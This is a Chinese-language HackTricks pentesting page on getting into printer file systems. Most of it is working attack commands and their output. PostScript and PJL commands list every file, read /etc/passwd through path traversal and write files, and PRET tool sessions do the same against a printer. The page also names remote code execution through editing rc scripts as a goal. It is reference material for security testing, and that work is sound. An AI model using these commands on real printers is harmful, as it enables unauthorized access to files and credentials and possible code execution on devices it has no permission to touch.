hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md

5.2 KiB
Raw Blame History

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

PostScript

检索敏感信息如配置文件或存储的打印作业通过编写文件实现RCE如编辑rc脚本或替换二进制文件。为PostScriptPJL定义了合法的语言结构来访问文件系统

使用PostScript访问文件系统注意它可能被沙盒化限制为无害的操作

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

你可以使用 PRET 命令:lsgetputappenddeleterenamefindmirrortouchmkdircdpwdchvoltraversalformatfuzzdf

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

无论如何许多打印机不支持使用PJL访问文件。

您可以使用 PRET 命令:lsgetputappenddeletefindmirrortouchmkdircdpwdchvoltraversalformatfuzzdf

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

了解更多关于使用 PostScript 和 PJL 限制可能的沙箱绕过在 http://hacking-printers.net/wiki/index.php/File_system_access

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: